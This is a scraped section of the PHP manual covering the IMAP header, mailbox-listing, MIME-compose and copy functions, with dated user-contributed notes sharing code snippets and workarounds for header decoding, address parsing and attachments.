A simple way to fix encoded subject/from header problem and strip whitespace:

<?php
function fix_text($var){
if(ereg("=\?.{0,}\?[Bb]\?",$var)){
$var = split("=\?.{0,}\?[Bb]\?",$var);

while(list($key,$value)=each($var)){
if(ereg("\?=",$value)){
$arrTemp=split("\?=",$value);
$arrTemp[0]=base64_decode($arrTemp[0]);
$var[$key]=join("",$arrTemp);
}}
$var=join("",$var);
}

if(ereg("=\?.{0,}\?Q\?",$var)){
$var = quoted_printable_decode($var);
$var = ereg_replace("=\?.{0,}\?[Qq]\?","",$var);
$var = ereg_replace("\?=","",$var);
}
return trim($var);
}
?>

Ex.

<?php
//For =?iso-8859-1?Q Problem

echo $title;
//show: =?iso-8859-1?Q?Boletim:_Motiva=E7=E3o
//,_Gest=E3o_&_Vendas_-_Gilcl=E9r_Regi?=
//=?iso-8859-1?Q?na?=

echo fix_text($title);
//show: na?
?>
gungp720 at yahoo dot com 20-Nov-2002 01:02
To convert date format from mail header to dd/mm/yyyy H:i use this :
<?
$tgl1 = strtotime($msg->date); //convert to timestamp
$tgl2 = date("d/m/Y H:i",$tgl1); //format date from timestamp
echo $tgl2;
?>
hope this help :)
shader76 03-Oct-2002 05:49
if you need to grab other fields that are not parsed out by imap_header then use
imap_fetchheader to retrieve the entire email header and do the work yourself.
15-May-2002 05:08
I just wanted to state what all these variables were producing considering it isnt documented anywhere that I have been able to find on this site:

the object that imap_mailboxmsgs returns has the following fields for the pop3 driver:

array(
     Unread =>
     Deleted =>
     Nmsgs =>
     Size=>
     Date=>
     Driver=>
     Mailbox=>
     Recent=>
)

imap_header returns the following array for the pop3 driver:

stdClass Object (
    date=>
    Date=>
    subject=>
    Subject=>
    toaddress=>
    to=> array stdClass Object (
        mailbox=>
        host=>
     )
    fromaddress=>
    from=> array stdClass Object (
        personal=>
        mailbox=>
        host=>
    )
    reply_toaddress=>
    reply_to=> array stdClass Object (
        personal=>
        mailbox=>
        host=>
    )
    senderaddress=>
    sender => array stdClass Object (
        personal=>
        mailbox=>
        host=>
    )
    Recent=>
    Unseen=>
    Flagged=>
    Answered=>
    Deleted=>
    Draft=>
    Msgno=>
    MailDate=>
    Size=>
    udate=>
)

Also, if you are using a pop3 server and you are having difficulties deleting messages, you will need to call imap_expunge immediately after your call to imap_delete. (this was posted somewhere else..  thanks for that!!)

feel free to drop me a line if this helped you.  Happy coding.
hnesland at samsen dot com 04-Feb-2002 09:36
A way to print your own specified date:

$date = date('d F Y (G:i:s)',
strtotime(strip_tags($headerinfo->udate)));
jwilson at ecominteractive dot net 06-Sep-2001 08:20
It is explained else where on the site but something I struggled with.

To find the size of a message use:

$sizefeed1 = imap_fetchstructure($feed,$messagenumber);
$sizefeed2 = $sizefeed1->bytes;
$size = "$sizefeed2 bytes";
alpha_lam at yahoo dot com dot hk 10-Feb-2001 08:38
I've got a problem when facing some encoded subject or from header like:
=?big5?B?uXG4o7ZXpEg3MTEw?= or
=?iso-8859-1?Q?A7=EB=B2=BC=B6=7D=A9l=21?=
this problem only appears when the poster is using non-Misco$oft reader, and i lastly find the way to solve.
For the =?big5?B?, the encode method is base64, so you can use base64_decode to decode it to the original one, you can use the following to check and decode:

<?php

if(ereg("=\?.{0,}\?[Bb]\?",$strHead)){
  $arrHead=split("=\?.{0,}\?[Bb]\?",$strHead);
  while(list($key,$value)=each($arrHead)){
    if(ereg("\?=",$value)){
      $arrTemp=split("\?=",$value);
      $arrTemp[0]=base64_decode($arrTemp[0]);
      $arrHead[$key]=join("",$arrTemp);
    }
  }
  $strHead=join("",$arrHead);
}

?>

For =?iso-8859-1?Q?, it uses quoted printable to encode, you can use quoted_printable_decode to decode, example:

<?php

if(ereg("=\?.{0,}\?Q\?",$strHead)){
  $strHead=quoted_printable_decode($strHead);
  $strHead=ereg_replace("=\?.{0,}\?[Qq]\?","",$strHead);
  $strHead=ereg_replace("\?=","",$strHead);
}

?>
G dot li at open dot ac dot uk 05-Jul-2000 03:26
Yes, the ref. is quit confusing (to me at least). It will be wise (after spent many hours) to test the type of variable first before it disappointe you. I find $header->From retrurns String, $header->from returns array and its elements are object. Therefore if you want get sender's name for example,
you need: $from = $header->from;

        if (is_array($from)){

        while(list($key, $val) = each($from)) {

        echo $from[0]->personal;
        echo $from[0]->adl;
        echo $from[0]->mailbox;
        echo $from[0]->host;

        }
        }
you will find $header_from is an one element array and this element is an object. Hope anyone else will not wast time here to figure out why retrun is empty.
imap_getsubscribed
imap_headerinfo
IMAP Functions


Read the header of the message

imap_header
imap_headers
IMAP Functions
PHP Manual

imap_headerinfo

(PHP 4, PHP 5)

imap_headerinfo — Read the header of the message

Description

object imap_headerinfo ( resource $imap_stream , int $msg_number [, int $fromlength = 0 [, int $subjectlength = 0 [, string $defaulthost = NULL ]]] )

Gets information about the given message number by reading its headers.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

fromlength

Number of characters for the fetchfrom property. Must be greater than or equal to zero.

subjectlength

Number of characters for the fetchsubject property Must be greater than or equal to zero.

defaulthost

Return Values

Returns the information in an object with following properties:

  • toaddress - full to: line, up to 1024 characters
  • to - an array of objects from the To: line, with the following properties: personal, adl, mailbox, and host
  • fromaddress - full from: line, up to 1024 characters
  • from - an array of objects from the From: line, with the following properties: personal, adl, mailbox, and host
  • ccaddress - full cc: line, up to 1024 characters
  • cc - an array of objects from the Cc: line, with the following properties: personal, adl, mailbox, and host
  • bccaddress - full bcc: line, up to 1024 characters
  • bcc - an array of objects from the Bcc: line, with the following properties: personal, adl, mailbox, and host
  • reply_toaddress - full Reply-To: line, up to 1024 characters
  • reply_to - an array of objects from the Reply-To: line, with the following properties: personal, adl, mailbox, and host
  • senderaddress - full sender: line, up to 1024 characters
  • sender - an array of objects from the Sender: line, with the following properties: personal, adl, mailbox, and host
  • return_pathaddress - full Return-Path: line, up to 1024 characters
  • return_path - an array of objects from the Return-Path: line, with the following properties: personal, adl, mailbox, and host
  • remail -
  • date - The message date as found in its headers
  • Date - Same as date
  • subject - The message subject
  • Subject - Same a subject
  • in_reply_to -
  • message_id -
  • newsgroups -
  • followup_to -
  • references -
  • Recent - R if recent and seen, N if recent and not seen, ' ' if not recent.
  • Unseen - U if not seen AND not recent, ' ' if seen OR not seen and recent
  • Flagged - F if flagged, ' ' if not flagged
  • Answered - A if answered, ' ' if unanswered
  • Deleted - D if deleted, ' ' if not deleted
  • Draft - X if draft, ' ' if not draft
  • Msgno - The message number
  • MailDate -
  • Size - The message size
  • udate - mail message date in Unix time
  • fetchfrom - from line formatted to fit fromlength characters
  • fetchsubject - subject line formatted to fit subjectlength characters

See Also

  • imap_fetch_overview() - Read an overview of the information in the headers of the given message

User Contributed Notes

andyltm 08-Jul-2010 03:17
When I was testing imap_headerinfo() with an e-mail that had multiple recipients (multiple e-mails in to to: and/or cc: field), I noticed that imap_headerinfo() was failing hard for me on PHP 5.2.10-2ubuntu6.4 with Suhosin-Patch 0.9.7 (cli).

Rather than providing me an array with each and every e-mail address listed in the to and/or cc fields, it was only providing me the first listed.  This was disappointing.

   [to] => Array
        (
            [0] => stdClass Object
                (
                    [mailbox] => game
                    [host] => blunts.com
                )
        )

Luckily, there was a cool workaround to this problem:

imap_rfc822_parse_headers(imap_fetchheader( string ); which subsequentally worked like a nice little pet would:

   [to] => Array
        (
            [0] => stdClass Object
                (
                    [mailbox] => game
                    [host] => blunts.com
                )
            [1] => stdClass Object
                (
                    [mailbox] => dutch
                    [host] => masters.com
                )
        )

TL;DR:
So in other words, instead of imap_headerinfo() use imap_rfc822_parse_headers(imap_fetchheader()).

Hope this helps anyone else that runs into this issue from now into the future.  This post was suggested by people in #PHP on FreeNode IRC.
trinkaus at ttNetz dot de 31-Jan-2010 02:32
When i try to access the same mailbox through pop3 and through imap i get different update infomations.

1. Using imap
header->udate is not the same as strtotime($header->date)
<?php
$mBox = imap_open("{host:143/imap/novalidate-cert}INBOX}", $username, $password); // open as imap
$header = imap_header($mBox, 1); // get first mails header
echo $header->udate;
echo strtotime($header->date);
?>

1. Using pop3
header->udate is the same as strtotime($header->date)
<?php
$mBox = imap_open("{host:110/pop3/novalidate-cert}INBOX}", $username, $password); // open as pop3
$header = imap_header($mBox, 1); // get first mails header
echo $header->udate;
echo strtotime($header->date);
?>

I do not know why this is so, but for this reason, i use strtotime($header->date) together with other values to create my own message-UID because this seems to work independent from the protocol.
jahservant 13 at gmail dot com 08-Dec-2009 03:56
I'm not entirely sure why this is, but if you loop through all of the messages in a mailbox, calling imap_header() each time, you can significantly increase performance by calling imap_headers() first.

Compare this:
<?php
     $imap = imap_open("{my.server.com:143}INBOX", "user", "pass");
     $n_msgs = imap_num_msg($imap);
     $s = microtime(true);
     for ($i=0; $i<$n_msgs; $i++) {
          $header = imap_header($imap, $i);
     }
     $e = microtime(true);
     echo ($e - $s);
     imap_close($imap);
?>

With this:
<?php
     $imap = imap_open("{my.server.com:143}INBOX", "user", "pass");
     $n_msgs = imap_num_msg($imap);
  /****** adding this line: ******/
     imap_headers($imap)
  /***************************/
     $s = microtime(true);
     for ($i=0; $i<$n_msgs; $i++) {
          $header = imap_header($imap, $i);
     }
     $e = microtime(true);
     echo ($e - $s);
     imap_close($imap);
?>

The performance difference, as I have tested on several boxes, connecting to several different servers, is that the second code snippet ALWAYS takes 1/2 the time, if not less.

Perhaps it is because imap_headers() retrieves all of the messages on one connection, whereas imap_header() has to make a new fetch request for each message??  I'm not sure WHY it is faster if imap_headers() is called first, but I do know that it is, so I thought I'd pass on the knowledge.  If anyone knows why this is, please let me know....
aeolianmeson at exoyiga dot blitzeclipse dot com 17-May-2009 10:56
I typically use UID's to identify messages, and recently discovered that the headers I had been pulling using this function and a message-number didn't match the UID's. Instead of worrying about it, I just began using imap_fetchheader() and imap_ rfc822_ parse_ headers() on its output. The only significant difference I immediately noticed was that there is no "udate" property, so I assigned one with the result of strtotime() on the 'date' property.

Dustin
php at spacefish dot biz 27-Jan-2009 10:57
I had to pass the msgid as array($msgid) instead of an integer. the error "Invalid messageID" is generated if i pass an integer.
ron at NOSPAM dot clicks2hits dot com 05-Nov-2008 05:51
Simple little code for checking gmail using headerinfo

<?php /* Created on: 11/3/2008 By Ron Hickey 6tx.net/gmail_mod
Gmail mod for admin panels or you can edit it and convert html results to XML for personal RSS reader */

// enter gmail username below e.g.--> $m_username = "yourusername";
$m_username = "";

// enter gmail password below e.g.--> $m_password = "yourpword";
$m_password = "";

// enter the number of unread messages you want to display from mailbox or
//enter 0 to display all unread messages e.g.--> $m_acs = 0;
$m_acs = 15;

// How far back in time do you want to search for unread messages - one month = 0 , two weeks = 1, one week = 2, three days = 3,
// one day = 4, six hours = 5 or one hour = 6 e.g.--> $m_t = 6;
$m_t = 2;

//----------->Nothing More to edit below
//open mailbox..........please
$m_mail = imap_open ("{imap.gmail.com:993/imap/ssl}INBOX", $m_username . "@gmail.com", $m_password)

// or throw a freakin error............you pig
or die("ERROR: " . imap_last_error());

// unix time gone by or is it bye.....its certanly not bi.......or is it? ......I dunno fooker
$m_gunixtp = array(2592000, 1209600, 604800, 259200, 86400, 21600, 3600);

// Date to start search
$m_gdmy = date('d-M-Y', time() - $m_gunixtp[$m_t]);

//search mailbox for unread messages since $m_t date
$m_search=imap_search ($m_mail, 'UNSEEN SINCE ' . $m_gdmy . '');

//If mailbox is empty......Display "No New Messages", else........ You got mail....oh joy
if($m_search < 1){
$m_empty = "No New Messages";}
else {

// Order results starting from newest message
rsort($m_search);

//if m_acs > 0 then limit results
if($m_acs > 0){
array_splice($m_search, $m_acs);
}

//loop it
foreach ($m_search as $what_ever) {

//get imap header info for obj thang
$obj_thang = imap_headerinfo($m_mail, $what_ever);

//Then spit it out below.........if you dont swallow
echo "<body bgcolor=D3D3D3><div align=center><br /><font face=Arial size=2 color=#800000>Message ID# " . $what_ever . "</font>

<table bgcolor=#D3D3D3 width=700 border=1 bordercolor=#000000 cellpadding=0 cellspacing=0>
<tr>
<td><table width=100% border=0>
<tr>
<td><table width=100% border=0>
<tr>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>Date:</font> <font face=Arial size=2 color=#000000>" . date("F j, Y, g:i a", $obj_thang->udate) . "</font></td>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>From:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->fromaddress . "</font></td>
<td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>To:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->toaddress . " </font></td>
</tr>
<tr>
</table>
</td>
</tr><tr><td bgcolor=#F8F8FF><font face=Arial size=2 color=#800000>Subject:</font> <font face=Arial size=2 color=#000000>" . $obj_thang->Subject . "</font></td></tr><tr>
</tr>
</table></td>
</tr>
</table><a href=http://gmail.com target=_blank><font face=Arial size=2 color=#800000>Login to read message</a></font><br /></div></body>";

}} echo "<div align=center><font face=Arial size=4 color=#800000><b>" . $m_empty . "</b></font></div>";
//close mailbox bi by bye
imap_close($m_mail);
?>
scott at fuzzygroup dot com 11-Nov-2002 09:13
If you want to extract values from to, from, or other header elements, they are an object and you need to loop over them i.e.

$header = imap_header($mbox, $message_id);
$from = $header->from;
foreach ($from as $id => $object) {
    $fromname = $object->personal;
    $fromaddress = $object->mailbox . "@" . $object->host;
}

Would give you two variables for the friendly from and the smtp from address

Thanks to www.natrak.net for help with this
imap_header
imap_headers
IMAP Functions


Returns headers for all messages in a mailbox

imap_headerinfo
imap_last_error
IMAP Functions
PHP Manual

imap_headers

(PHP 4, PHP 5)

imap_headers — Returns headers for all messages in a mailbox

Description

array imap_headers ( resource $imap_stream )

Returns headers for all messages in a mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns an array of string formatted with header info. One element per mail message.

User Contributed Notes

mmuoio at gmail dot com 12-Oct-2009 10:39
This function will not return a full subject line if it is longer than 25 characters.  I found this out after trying to search each header and move the email to a different folder depending on what the subject was (searching for year and project number).
imap_headerinfo
imap_last_error
IMAP Functions


Gets the last IMAP error that occurred during this page request

imap_headers
imap_list
IMAP Functions
PHP Manual

imap_last_error

(PHP 4, PHP 5)

imap_last_error — Gets the last IMAP error that occurred during this page request

Description

string imap_last_error ( void )

Gets the full text of the last IMAP error message that occurred on the current page. The error stack is untouched; calling imap_last_error() subsequently, with no intervening errors, will return the same error.

Return Values

Returns the full text of the last IMAP error message that occurred on the current page. Returns FALSE if no error messages are available.

See Also

  • imap_errors() - Returns all of the IMAP errors that have occured

User Contributed Notes

josh at snaphat dot com 29-Nov-2003 10:06
A simple login error test:
<?php
$mbox = imap_open ("{www.yoursite.com:143}INBOX", "$username", "$password");
if ( $mbox === false ) {
       exit ("Can't connect: " . imap_last_error() ."\n");
}
else
{
       echo"Logined:";
       //do stuff
}
?>
imap_headers
imap_list
IMAP Functions


Read the list of mailboxes

imap_last_error
imap_listmailbox
IMAP Functions
PHP Manual

imap_list

(PHP 4, PHP 5)

imap_list — Read the list of mailboxes

Description

array imap_list ( resource $imap_stream , string $ref , string $pattern )

Read the list of mailboxes.

Parameters

imap_stream

An IMAP stream returned by imap_open().

ref

ref should normally be just the server specification as described in imap_open().

pattern

Specifies where in the mailbox hierarchy to start searching.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

Return Values

Returns an array containing the names of the mailboxes.

Examples

Example #1 imap_list() example

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
      or die("can't connect: " . imap_last_error());

$list = imap_list($mbox, "{imap.example.org}", "*");
if (is_array($list)) {
    foreach ($list as $val) {
        echo imap_utf7_decode($val) . "\n";
    }
} else {
    echo "imap_list failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

See Also

  • imap_getmailboxes() - Read the list of mailboxes, returning detailed information on each one
  • imap_lsub() - List all the subscribed mailboxes

User Contributed Notes

c6h1206free at gmail dot com 16-Sep-2008 12:00
imap_list returns a simple array of strings that look just like the $ref parameter one needs to specify:

<?php

  $srv = '{imap.example.com}';

  $conn = imap_open($srv, 'me', 'mypass');

  $boxes = imap_list($conn, $srv, '*');

  print_r($boxes);
  imap_close($conn);
?>

Output:

<pre>
Array
(
    [0] => {imap.example.com}Calendar
    [1] => {imap.example.com}Contacts
    [2] => {imap.example.com}Deleted Items
    [3] => {imap.example.com}Drafts
    [4] => {imap.example.com}Journal
    [5] => {imap.example.com}Junk E-mail
    [6] => {imap.example.com}Notes
    [7] => {imap.example.com}Outbox
    [8] => {imap.example.com}RSS Feeds
    [9] => {imap.example.com}Sent Items
    [10] => {imap.example.com}Tasks
)
</pre>

These directly fill in the $ref argument for every function that takes one.
kevin at metalaxe dot com 05-Jun-2007 02:13
if there is an error imap_list returns FALSE not an empty array (as expected by docs)
imap_last_error
imap_listmailbox
IMAP Functions


Alias of imap_list

imap_list
imap_listscan
IMAP Functions
PHP Manual

imap_listmailbox

(PHP 4, PHP 5)

imap_listmailbox — Alias of imap_list()

Description

This function is an alias of: imap_list().

User Contributed Notes

There are no user contributed notes for this page.
imap_list
imap_listscan
IMAP Functions


Returns the list of mailboxes that matches the given text

imap_listmailbox
imap_listsubscribed
IMAP Functions
PHP Manual

imap_listscan

(PHP 4, PHP 5)

imap_listscan — Returns the list of mailboxes that matches the given text

Description

array imap_listscan ( resource $imap_stream , string $ref , string $pattern , string $content )

Returns an array containing the names of the mailboxes that have content in the text of the mailbox.

This function is similar to imap_listmailbox(), but it will additionally check for the presence of the string content inside the mailbox data.

Parameters

imap_stream

An IMAP stream returned by imap_open().

ref

ref should normally be just the server specification as described in imap_open()

pattern

Specifies where in the mailbox hierarchy to start searching.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

content

The searched string

Return Values

Returns an array containing the names of the mailboxes that have content in the text of the mailbox.

See Also

  • imap_listmailbox() - Alias of imap_list
  • imap_search() - This function returns an array of messages matching the given search criteria

User Contributed Notes

There are no user contributed notes for this page.
imap_listmailbox
imap_listsubscribed
IMAP Functions


Alias of imap_lsub

imap_listscan
imap_lsub
IMAP Functions
PHP Manual

imap_listsubscribed

(PHP 4, PHP 5)

imap_listsubscribed — Alias of imap_lsub()

Description

This function is an alias of: imap_lsub().

User Contributed Notes

chris at brenden dot com 15-Jan-2000 10:21
imap_listsubscribed() has been changed (or atleast I think has been) in php4b4 or the current CVS version.

The new function call is imap_lsub() it works the same as imap_listsubscribed()...
imap_listscan
imap_lsub
IMAP Functions


List all the subscribed mailboxes

imap_listsubscribed
imap_mail_compose
IMAP Functions
PHP Manual

imap_lsub

(PHP 4, PHP 5)

imap_lsub — List all the subscribed mailboxes

Description

array imap_lsub ( resource $imap_stream , string $ref , string $pattern )

Gets an array of all the mailboxes that you have subscribed.

Parameters

imap_stream

An IMAP stream returned by imap_open().

ref

ref should normally be just the server specification as described in imap_open()

pattern

Specifies where in the mailbox hierarchy to start searching.

There are two special characters you can pass as part of the pattern: '*' and '%'. '*' means to return all mailboxes. If you pass pattern as '*', you will get a list of the entire mailbox hierarchy. '%' means to return the current level only. '%' as the pattern parameter will return only the top level mailboxes; '~/mail/%' on UW_IMAPD will return every mailbox in the ~/mail directory, but none in subfolders of that directory.

Return Values

Returns an array of all the subscribed mailboxes.

See Also

  • imap_list() - Read the list of mailboxes
  • imap_getmailboxes() - Read the list of mailboxes, returning detailed information on each one

User Contributed Notes

There are no user contributed notes for this page.
imap_listsubscribed
imap_mail_compose
IMAP Functions


Create a MIME message based on given envelope and body sections

imap_lsub
imap_mail_copy
IMAP Functions
PHP Manual

imap_mail_compose

(PHP 4, PHP 5)

imap_mail_compose — Create a MIME message based on given envelope and body sections

Description

string imap_mail_compose ( array $envelope , array $body )

Create a MIME message based on the given envelope and body sections.

Parameters

envelope

An associative array of headers fields. Valid keys are: "remail", "return_path", "date", "from", "reply_to", "in_reply_to", "subject", "to", "cc", "bcc", "message_id" and "custom_headers" (which contains associative array of other headers).

body

An indexed array of bodies

A body is an associative array which can consist of the following keys: "type", "encoding", "charset", "type.parameters", "subtype", "id", "description", "disposition.type", "disposition", "contents.data", "lines", "bytes" and "md5".

Return Values

Returns the MIME message.

Examples

Example #1 imap_mail_compose() example

<?php

$envelope["from"]= "joe@example.com";
$envelope["to"]  = "foo@example.com";
$envelope["cc"]  = "bar@example.com";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";

$filename = "/tmp/imap.c.gz";
$fp = fopen($filename, "r");
$contents = fread($fp, filesize($filename));
fclose($fp);

$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream";
$part2["description"] = basename($filename);
$part2["contents.data"] = $contents;

$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;

echo nl2br(imap_mail_compose($envelope, $body));

?>

User Contributed Notes

Guido 26-Aug-2008 10:25
For some email clients its necessary first to start with the body text and end with the attachment(s). Otherwise all the parts end up in attachments, also the body text (took a while to find this).

So example #1 (above) should be switched over, like:

$body[1] = $part1;
$body[2] = $part3;
$body[3] = $part2;
Freman 07-Aug-2007 05:57
Since at least PHP 4.3 the $part[] hash can contain the $part['type.parameters'] which expects a hash.

Unfortunately for "hans at lintoo dot dk" there doesn't appear to have ever been $part['parameters.name'] or a $part['dparameters.filename']

So it would appear the corrected code for his function is

<?php
            $part["type"] = TYPEAPPLICATION;
            $part["encoding"] = ENCBASE64;
            $part["subtype"] = "octet-stream";
            $part["description"] = $file_name;
            $part['disposition.type'] = 'attachment';
            $part['disposition'] = array ('filename' => $file_name);
            $part['type.parameters'] = array('name' => $file_name);
            $part["contents.data"] = base64_encode(fread($file_handle,$file_size));
?>
While this correctly sets the header

Content-Type: application/octet-stream; name="file_name"
Content-Transfer-Encoding: BASE64
Content-Description: file_name
Content-Disposition: attachment; filename="file_name"

But this is still not a good idea to blanket set every attachment as a application/octet-stream so please consider using the unix command file, or Fileinfo functions (or even trusting file upload mimetype) and pay attention to the code from "derf dot m at reseaunix dot net"
hans at lintoo dot dk 25-Sep-2005 11:30
Here is a little something for attaching files... This is already documented in the manual, but my solution involves some changes. This is based on testing and suggestions from others notes on this page.
<?php
//snip
if (count($_FILES) > 0) {
    $multipart["type"] = TYPEMULTIPART;
    $multipart["subtype"] = "mixed";
    $body[] = $multipart; //add multipart stuff
}
//snip
$uploaddir = ini_get("upload_tmp_dir"); //Get tmp upload dir from PHP.ini
foreach ($_FILES as $fieldName => $file) {
    for ($i=0;$i < count($file['tmp_name']);$i++) {
        if (is_uploaded_file($file['tmp_name'][$i])) {
            $file_handle = fopen($file["tmp_name"][$i], "rb");
            $file_name = $file["name"][$i];
            $file_size = filesize($file["tmp_name"][$i]);

            $part["type"] = TYPEAPPLICATION;
            $part["encoding"] = ENCBASE64;
            $part["subtype"] = "octet-stream";
            $part["description"] = $file_name;
            $part['disposition.type'] = 'attachment';
            $part['disposition'] = array ('filename' => $file_name);
            $part['dparameters.filename'] = $file_name;
            $part['parameters.name'] = $file_name;
            $part["contents.data"] = base64_encode(fread($file_handle,$file_size));

            $body[] = $part;
            unlink($file["tmp_name"][$i]);
        }
    }
}
//snip
?>
hope someone can use this...
Regards, Hans @ http://lintoo.dk/
hans at lintoo dot dk 23-Sep-2005 06:29
I got a lot of problems with attachments (multipart emails) and the fix directly below this note.
instead just include it in the optional headers argument as previously suggested:

<?php
$mail = str_replace("\r","",imap_mail_compose($envelope, $body));
imap_mail($_POST["to"],$_POST["subject"],'',$mail);
?>
"Nothing like a fix on a fix".

If you want to copy the message to ie: a sent folder do:
<?php
//take note of the link: $this->mbox, and the constant: self::$imapStream
$envelope["to"]  = $_POST["to"]; //included with imap_mail
$envelope["subject"]  = $_POST["subject"]; //included with imap_mail
$mail = imap_mail_compose($envelope, $body); //note no problems with \r
imap_append($this->mbox,self::$imapStream."INBOX.Sent",$mail ,"\\Seen");
?>
See imap_append for more info.... Enjoy!
thomas dot hebinck at digionline dot de 06-Sep-2003 04:26
imap_mail_compose() uses \r\n at the end of each header (which is RFC conform) - but imap_mail() and mail() just use \n when adding their headers. So you get mixed up EOLs.

When your email client gets trouble finding the beginning of your body, try this (took me half a day):

$mail=imap_mail_compose($env,$body);
list($t_header,$t_body)=split("\r\n\r\n",$mail,2);
$t_header=str_replace("\r",'',$t_header);
$result=imap_mail($to,$subject,$t_body,$t_header);
thomas dot hebinck at digionline dot de 06-Sep-2003 05:28
It is a good idea to set the date header:
$envelope['date']=date('r');
thomas dot hebinck at digionline dot de 06-Sep-2003 05:26
imap_mail_compose modifies $envelope! Subsequent calls with the same $envelope may not work depending on the contents of the header. The best way (at least it works) I found, is:

$temp_env=unserialize(serialize($envelope));
$mail=imap_mail_compose($temp_env,$body);

(just $temp_env=$envelope does not work either)
as1 at powersite dot com dot ar 21-Apr-2003 11:49
How can I do if I have multi mime headers?
By example:

Content-Type: multipart/related;
                   type="multipart/alternative";
or:

Content-Type: multipart/mixed;
                   type="multipart/alternative";

or both methods: nested and multi mime headers:

Content-Type: multipart/mixed;
        boundary="147147"

--147147
Content-Type: multipart/related;
        type="multipart/alternative";
        boundary="247247"

These headers are used when you need attach files and
insert files in a body into mime mails.
Los Olvidados 23-Jan-2003 02:16
If you wish to send the output of this function, simply use it for the headers argument of imap_mail() or mail().  Keep in mind that those functions set the To: and Subject: headers, so including them in the envelope will create double entries.
derf dot m at reseaunix dot net 18-Jun-2002 09:25
class ImapCompose
{
    var $DATA;
    var $MIME;
    var $TYPE;
    var $BASENAME;

    function ImapCompose()
    {}

    function LECTURE_FICHIER($filename,$mime,$filetmp)
    {
        $filetmp = "/tmp/".$filetmp;
        $fp=fopen($filetmp,"r");
        $this->DATA     = fread($fp,filesize($filetmp));
        fclose($fp);
        //unlink($filetmp);

        $mime = explode("/",$mime);
        $this->BASENAME = basename($filename);
        $this->TYPE        = $mime[1];

        switch($mime[0])
        {
            case "image":
                        $this->MIME = TYPEIMAGE;
                        break;

            case "text":
                        $this->MIME = TYPETEXT;
                        break;

            case "audio":
                        $this->MIME = TYPEAUDIO;
                        break;

            case "autre":
            default:
                        $this->MIME = TYPEAPPLICATION;
                        break;
        }
    }

    function LECTURE_FILE_MAIL($file,$data,$mime,$type)
    {
        $this->BASENAME = $file;
        $this->MIME        = $mime;
        $this->DATA     = $data;
        $this->TYPE        = $type;
    }

    function ATTACHER_FICHIER()
    {
        $part["type"]        =$this->MIME."<br>";
        $part["encoding"]    =ENCBINARY."<br>";
        $part["subtype"]     =$this->TYPE."<br>";
        $part["description"]=$this->BASENAME."<br>";
        $part["contents.data"]=$this->DATA."<br>";
        return $part;
    }

    function ATTACHER_MSG($msg)
    {
        $part["type"]=TEXT;
        $part["subtype"]="plain";
        $part["description"]="message mode texte";
        $part["contents.data"]="$msg\n\n\n\t";

        return $part;
    }

    function ENVELLOPE_MAIL($from,$to,$cc,$sujet="")
    {
        $envelope["from"]=$from;
        $envelope["to"]=$to;
        $envelope["cc"]=$cc;

        if($sujet != "")
            $envelope["subject"]=$sujet;

        return $envelope;
    }

    function ENETE_MAIL()
    {
        $part["type"]=TYPEMULTIPART;
        $part["subtype"]="mixed";
        return $part;
    }
}
?>
prices at dflytech dot com 02-Feb-2002 12:32
In regards to my earlier note about "charset", this feature seems to have been added in the 4.1.X series  I have not actually checked 4.1.0, but it is in 4.1.1 and not it 4.0.6.
trionon at mail dot ru 28-Jan-2002 11:03
At least the following items in $part[] hashes are parsed:

type
encoding
charset
subtype
id
description
disposition.type
disposition
contents.data
lines
bytes
md5

Note: $part['disposition'] is a hash:

$part['disposition.type'] = 'attachment';
$part['disposition'] = array ('filename'=>'file.txt');

This will transform in such part header:

Content-disposition: attachment; filename="file.txt"
vlad ( at php dot net) 15-Jan-2002 06:18
... and the headers (elements of the envelope) are case-sensitive and are listed below:

remail
return_path
date
from
reply_to
in_reply_to
subject
to
cc
bcc
message_id
custom_headers

If you can't find a header you need in this list, you can use 'custom_headers'. It is just an array of lines to be appended to the header without any formatting, like this:

$envelope["custom_headers"] = Array("User-Agent: My Mail Client", "My-Header: My Value");

TODO: This should really migrate from a note to documentation
prices at dflytech dot com 07-Jan-2002 09:22
The documentation above does not mention that you can use the index ["charset"] to set the character set of the messsage part.

Example:

$part1["type"]= "TEXT";
$part1["subtype"]="PLAIN";
$part1["charset"] = "koi8-r";

to send a message in Russian-koi8.

Scott  =)
imap_lsub
imap_mail_copy
IMAP Functions


Copy specified messages to a mailbox

imap_mail_compose
imap_mail_move
IMAP Functions
PHP Manual

imap_mail_copy

(PHP 4, PHP 5)

imap_mail_copy — Copy specified messages to a mailbox

Description

bool imap_mail_copy ( resource $imap_stream , string $msglist , string $mailbox [, int $options = 0 ] )

Copies mail messages specified by msglist to specified mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msglist

msglist is a range not just message numbers (as described in » RFC2060).

mailbox

The mailbox name, see imap_open() for more information

options

options is a bitmask of one or more of

  • CP_UID - the sequence numbers contain UIDS
  • CP_MOVE - Delete the messages from the current mailbox after copying

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_mail_move() - Move specified messages to a mailbox

User Contributed Notes

fongming at fonn dot fongming dot idv dot tw 29-Aug-2004 03:42
